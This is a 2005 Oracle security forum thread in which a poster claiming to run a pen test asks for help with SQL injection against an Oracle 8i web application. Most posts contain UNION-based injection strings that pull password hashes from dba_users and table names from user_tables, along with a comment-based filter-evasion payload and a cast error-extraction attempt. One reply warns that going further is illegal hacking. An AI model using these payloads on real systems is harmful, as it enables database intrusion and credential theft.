Call: +44 (0)1904 557620 Call
Forum

Welcome, Guest. Please Login.
Apr 25th, 2024, 5:57am
News: Welcome to Pete Finnigan's Oracle security forum
Home | Help | Search | Members | Login
   Pete Finnigan's Oracle Security Forum
   Oracle Security
   Oracle Security
(Moderator: Pete Finnigan)
   oracle sql injection pen test help
« Previous topic | Next topic »
Pages: 1  Reply | Notify of replies | Send Topic | Print
   Author  Topic: oracle sql injection pen test help  (Read 9149 times)
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
oracle sql injection pen test help
« on: Nov 29th, 2005, 9:45pm »
Quote | Modify

hey guys iam making a pen test on oracle server and i need little help,i try to inject a sql injections commands example:union select password from dba_users--
 
and then i get the error message:
 
 
ORA-01789: query block has incorrect number of result columns
 
so i put the right columns:
 
union select password,1,1,1,1,1,1,1,1,1 from dba_users--
 
and then i get the message:
 
ORA-01790: expression must have same datatype as corresponding expression
 
 
so i try to replace 1 to NULL example: union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
 
but still not working!!!,its gave me the same error,maybe in oracle its not like ms sql you cant put NULL if you want that all the datatype will match,so my question is:
what i need to do if i want to figure out the datatype of the columnsHuh
 
beacuse This shows that the not only the number of columns needs to be the same  
but also the data types have to be the same.
 
i cant brute force a 12 columns,its will take month and maybe years.
i need to figure out the datatype of each columns,and i dont know how Sad
 
there is any trick??
or tipsHuh??
 
please help
 
thanks alot
 
limor.
limor188@walla.co.il
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #1 on: Nov 30th, 2005, 4:31am »
Quote | Modify

SELECT SYSDATE,1,'a' FROM dual
UNION
SELECT NULL,NULL,NULL FROM dual
 
works fine, so that suggests it is the first column that is the problem (ie the one you are trying to get the password from)
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #2 on: Nov 30th, 2005, 6:25am »
Quote | Modify

hey thanks for your answer but,i try to replace 1 to Null example:union select password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dba_users--  
and still get the same errorShockedRA-01790: expression must have same datatype as corresponding expression .
 
anyway i cant check each 12 columns datatypes its will take a months,maybe a years.
 
you give me example with 3 columns,but i have 12 columns Sad,so my question  if there is some way to know each column datatypeHuh or another trick to "bypass" the errror message that say:expression must have same datatype as corresponding expression .
 
please help
 
thanks alot
 
limor
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #3 on: Nov 30th, 2005, 6:33am »
Quote | Modify

anyway you mean i get the same error because the column password example:
union select password,NULL from dba_users??
 
 
you mean that Null should working on oracleHuh
 
because i know that in MS SQL NULL Working like a baby to match all the datatype,so in oracle its working to?
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #4 on: Nov 30th, 2005, 7:59am »
Quote | Modify

anyway i try to put a NULL on all the columns example:%20union%20select%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL L,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%dual--
 
and still get the error:
java.sql.SQLException: ORA-01790: expression must have same datatype as corresponding expression  
 
Sad any ideas?
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #5 on: Nov 30th, 2005, 6:19pm »
Quote | Modify

hey guys,i found another injection with only 2 columns:union select password,1 from dba_users--
 
and i was able to collect the admin hash,anyway i try to put another tablename not table (dba_users)  
 
example:union select username,1 from users--
 
and i get the error message:
java.lang.StringIndexOutOfBoundsException: String index out of range: -2
 
and i try to collect table names from user_tables,example:
 
union select table_name,1 from user_tables--
 
and i get the error:java.lang.StringIndexOutOfBoundsException: String index out of range: -5
 
 
why i get this errors???,any tricks to bypass this error??,any ideas??
 
please help me
 
thanks again
 
limor
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #6 on: Dec 1st, 2005, 11:18pm »
Quote | Modify

SELECT SYSDATE,1,'a' FROM dual
UNION
SELECT NULL,NULL,NULL FROM dual  
 
Works in 9iR2 and 10GR2 but in 8i gives the error :
ORA-01790: expression must have same datatype as corresponding expression.
 
The fact that you've found an SQL Injection route and that there is access to DBA_USERS is 'enough' for a penetration test. Anything else is almost certainly plain and simple (and illegal) hacking.
 
It looks like you are trying to hack an 8i database.
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: oracle sql injection pen test help
« Reply #7 on: Dec 2nd, 2005, 6:48pm »
Quote | Modify

hey gamyers,first of all thanks again and second,iam doing a pen test on a client so i want to show him more features not only dba_users hash,anyway i was able to find another injection on the website that return me all the data,example:union select table_name from user_tables,now its working.
 
second i want to know if you have any ideas,if some site filter the word:union select,do you have any ideas of signature evasion??? i know the comment trick to bypass but do you have more ideas to bypass signature evasion???
 
comments trick: /**/UNION/**/SELECT/**/table_name from user_tables--
 
another question:i was try to get data from the database using cast,example:
 
ID=(select cast(username AS int)from all_users)--
 
but its give me the error:ORA-01722: invalid number ,then i was try to replace the int datatype with integer,and its still give me the same error??
 
why???,please answer to my questions,thanks alot  
limor
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pages: 1  Reply | Notify of replies | Send Topic | Print

« Previous topic | Next topic »

Powered by YaBB 1 Gold - SP 1.4!
Forum software copyright © 2000-2004 Yet another Bulletin Board
  • PFCLScan PFCLScan

    Simply connect PFCLScan to your Oracle database and it will automatically discover the security issues that could make your Oracle database vulnerable to attack and to the potential loss of your data.

  • PFCL Obfuscate PFCLObfuscate

    PFCLObfuscate is the only tool available that can automatically add license controls to your PL/SQL code. PFCLObfuscate protects your Intellectual Property invested in your PL/SQL database code.

  • PFCLCode PFCLCode

    PFCLCode is a tool to allow you to analyse your PL/SQL code for many different types of security issues. PFCLCode gives you a detailed review and reports and includes a powerful colour syntax highlighting code editor

  • PFCLForensics PFCLForensics

    PFCLForensics is the only tool available to allow you to do a detailed live response of a breached Oracle database and to then go on and do a detailed forensic analysis of the data gathered.

  • Products We resell PFCLReselling

    PeteFinnigan.com Limited has partnered with a small number of relevant companies to resell their products where they enhance or compliment what we do

  • PFCLATK PFCLATK

    PFCLATK is a toolkit that allows detailed pre-defined policy driven audit trails for your Oracle database. The toolkit also provides for a centralised audit trail and centralised activity reporting

  • PFCLCookie PFCLCookie

    PFCLCookie is a useful tool to use to audit your websites for tracking cookies. Scan websites in a natural way using powerful browser driven scanner

  • PFCL Training PFCLTraining

    PFCLTraining is a set of expert training classes for you, aimed at teaching how to audit your own Oracle database, design audit trails, secure code in PL/SQL and secure and lock down your Oracle database.

  • PFCL Services PFCLServices

    Choose PFCLServices to add PeteFinnigan.com Ltd to your team for your Oracle Security needs. We are experts in performing detailed security audits, data security design work and policy creation

  • PFCLConsulting PFCLConsulting

    Choose PFCLConsulting to ask PeteFinnigan.com Limited to set up and use our products on your behalf

  • PFCLCustom PFCLCustom

    All of our software products can be customised at a number of levels. Choose this to see how our products can be part of your products and services

  • PFCLCloud PFCLCloud

    Private cloud, public cloud, hybrid cloud or no cloud. Learn how all of our services, trainings and products will work in the cloud

  • PFCLUserRights PFCLUserRights

    PFCLUserRights allows you to create a very detailed view of database users rights. The focus of the reports is to allow you to decide what privileges and accounts to keep and which to remove.

  • PFCLSTK PFCLSTK

    PFCLSTK is a toolkit application that allows you to provide database security easily to an existing database. PFCLSTK is a policy driven toolkit of PL/SQL that creates your security

  • PFCLSFTK PFCLSFTK

    PFCLSFTK is a toolkit that solves the problem of securing third party applications written in PL/SQL. It does this by creating a thin layer between the application and database and this traps SQL Injection attempts. This is a static firewall.

  • PFCLSEO PFCLSEO

    PFCLSEO is a web scanner based on the PFCLScan technology so that a user can easily scan a website for technical SEO issues